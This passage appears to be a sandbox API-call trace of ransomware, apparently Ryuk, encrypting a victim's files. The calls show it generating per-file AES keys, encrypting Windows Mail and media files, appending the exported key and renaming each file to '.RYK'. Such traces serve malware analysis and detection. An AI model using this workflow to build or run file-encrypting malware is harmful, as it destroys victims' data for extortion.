	[0211.397] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2017
	os_tid = 0x254c

	[0211.399] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log", dwFileAttributes=0x80) returned 0
	[0211.399] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.399] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.399] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edb00001.log.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edb00001.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2018
	os_tid = 0x2550

	[0211.401] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs", dwFileAttributes=0x80) returned 0
	[0211.401] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.401] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.401] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00001.jrs.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00001.jrs.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2019
	os_tid = 0x2554

	[0211.402] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs", dwFileAttributes=0x80) returned 0
	[0211.403] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.403] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.403] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\edbres00002.jrs.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\edbres00002.jrs.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2020
	os_tid = 0x2558

	[0211.404] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml", dwFileAttributes=0x80) returned 0
	[0211.404] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.404] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.405] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\oeold.xml.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\oeold.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2021
	os_tid = 0x255c

	[0211.406] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", dwFileAttributes=0x80) returned 0
	[0211.407] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.407] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.407] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2022
	os_tid = 0x2560

	[0211.408] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat", dwFileAttributes=0x80) returned 0
	[0211.408] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.409] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.409] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2038
	os_tid = 0x25ac

	[0211.673] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv", dwFileAttributes=0x80) returned 1
	[0211.674] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-g8qafqh7vyxt6.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608
	[0211.675] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x8dffa78 | out: lpFileSize=0x8dffa78*=67409) returned 1
	[0211.675] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x8dffa88 | out: lpFileSize=0x8dffa88*=67409) returned 1
	[0211.675] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x1062f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0211.675] ReadFile (in: hFile=0x608, lpBuffer=0x8dffad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8dffa40, lpOverlapped=0x0 | out: lpBuffer=0x8dffad0*, lpNumberOfBytesRead=0x8dffa40*=0x19, lpOverlapped=0x0) returned 1
	[0211.678] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.678] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8dffa58 | out: phKey=0x8dffa58*=0x2b8e30) returned 1
	[0211.678] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.678] ReadFile (in: hFile=0x608, lpBuffer=0x2690000, nNumberOfBytesToRead=0x10751, lpNumberOfBytesRead=0x8dffa64, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8dffa64*=0x10751, lpOverlapped=0x0) returned 1
	[0211.680] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8dffa60*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8dffa60*=0xf4250) returned 1
	[0211.680] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8dffa68*=0x10751, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8dffa68*=0x10760) returned 1
	[0211.681] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.681] WriteFile (in: hFile=0x608, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x10760, lpNumberOfBytesWritten=0x8dffa64, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8dffa64*=0x10760, lpOverlapped=0x0) returned 1
	[0211.682] WriteFile (in: hFile=0x608, lpBuffer=0x8dffa90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8dffa70, lpOverlapped=0x0 | out: lpBuffer=0x8dffa90*, lpNumberOfBytesWritten=0x8dffa70*=0x6, lpOverlapped=0x0) returned 1
	[0211.682] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8dffa80 | out: pbData=0x0*, pdwDataLen=0x8dffa80*=0x10c) returned 1
	[0211.682] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8dffaf0, pdwDataLen=0x8dffa80 | out: pbData=0x8dffaf0*, pdwDataLen=0x8dffa80*=0x10c) returned 1
	[0211.682] WriteFile (in: hFile=0x608, lpBuffer=0x8dffaf0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8dffa70, lpOverlapped=0x0 | out: lpBuffer=0x8dffaf0*, lpNumberOfBytesWritten=0x8dffa70*=0x10c, lpOverlapped=0x0) returned 1
	[0211.682] CloseHandle (hObject=0x608) returned 1
	[0211.686] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0211.686] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-g8qafqh7vyxt6.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\-G8QAFqH7VYxt6.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\-g8qafqh7vyxt6.mkv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2039
	os_tid = 0x25b0

	[0211.694] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a", dwFileAttributes=0x80) returned 1
	[0211.695] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\026xwve01y4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608
	[0211.695] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x8f2fb98 | out: lpFileSize=0x8f2fb98*=98989) returned 1
	[0211.695] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x8f2fba8 | out: lpFileSize=0x8f2fba8*=98989) returned 1
	[0211.696] SetFilePointerEx (in: hFile=0x608, liDistanceToMove=0x1818b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0211.696] ReadFile (in: hFile=0x608, lpBuffer=0x8f2fbf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f2fb60, lpOverlapped=0x0 | out: lpBuffer=0x8f2fbf0*, lpNumberOfBytesRead=0x8f2fb60*=0x19, lpOverlapped=0x0) returned 1
	[0211.698] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.698] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8f2fb78 | out: phKey=0x8f2fb78*=0x2b8ff0) returned 1
	[0211.698] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.698] ReadFile (in: hFile=0x608, lpBuffer=0x2980000, nNumberOfBytesToRead=0x182ad, lpNumberOfBytesRead=0x8f2fb84, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x8f2fb84*=0x182ad, lpOverlapped=0x0) returned 1
	[0211.700] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8f2fb80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8f2fb80*=0xf4250) returned 1
	[0211.701] CryptEncrypt (in: hKey=0x2b8ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x8f2fb88*=0x182ad, dwBufLen=0xf4250 | out: pbData=0x2980000*, pdwDataLen=0x8f2fb88*=0x182b0) returned 1
	[0211.701] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0211.702] WriteFile (in: hFile=0x608, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0x182b0, lpNumberOfBytesWritten=0x8f2fb84, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x8f2fb84*=0x182b0, lpOverlapped=0x0) returned 1
	[0211.703] WriteFile (in: hFile=0x608, lpBuffer=0x8f2fbb0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8f2fb90, lpOverlapped=0x0 | out: lpBuffer=0x8f2fbb0*, lpNumberOfBytesWritten=0x8f2fb90*=0x6, lpOverlapped=0x0) returned 1
	[0211.703] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8f2fba0 | out: pbData=0x0*, pdwDataLen=0x8f2fba0*=0x10c) returned 1
	[0211.703] CryptExportKey (in: hKey=0x2b8ff0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8f2fc10, pdwDataLen=0x8f2fba0 | out: pbData=0x8f2fc10*, pdwDataLen=0x8f2fba0*=0x10c) returned 1
	[0211.703] WriteFile (in: hFile=0x608, lpBuffer=0x8f2fc10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8f2fb90, lpOverlapped=0x0 | out: lpBuffer=0x8f2fc10*, lpNumberOfBytesWritten=0x8f2fb90*=0x10c, lpOverlapped=0x0) returned 1
	[0211.703] CloseHandle (hObject=0x608) returned 1
	[0211.709] CryptDestroyKey (hKey=0x2b8ff0) returned 1
	[0211.709] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\026xwve01y4.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\026xWvE01Y4.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\026xwve01y4.m4a.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2040
	os_tid = 0x25b4

	[0211.716] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv", dwFileAttributes=0x80) returned 0
	[0211.716] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1cric9y1yg7tpqyhkzpe.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0211.717] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.717] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1cric9y1yg7tpqyhkzpe.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\1CRIC9Y1YG7tpqYhKZpE.flv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\1cric9y1yg7tpqyhkzpe.flv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2041
	os_tid = 0x25b8

	[0211.718] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi", dwFileAttributes=0x80) returned 1
	[0211.719] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\3BjGRofHkmE_xK.avi" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\3bjgrofhkme_xk.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608
	[0211.720] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x926f878 | out: lpFileSize=0x926f878*=48267) returned 1
	[0211.720] GetFileSizeEx (in: hFile=0x608, lpFileSize=0x926f888 | out: lpFileSize=0x926f888*=48267) returned 1
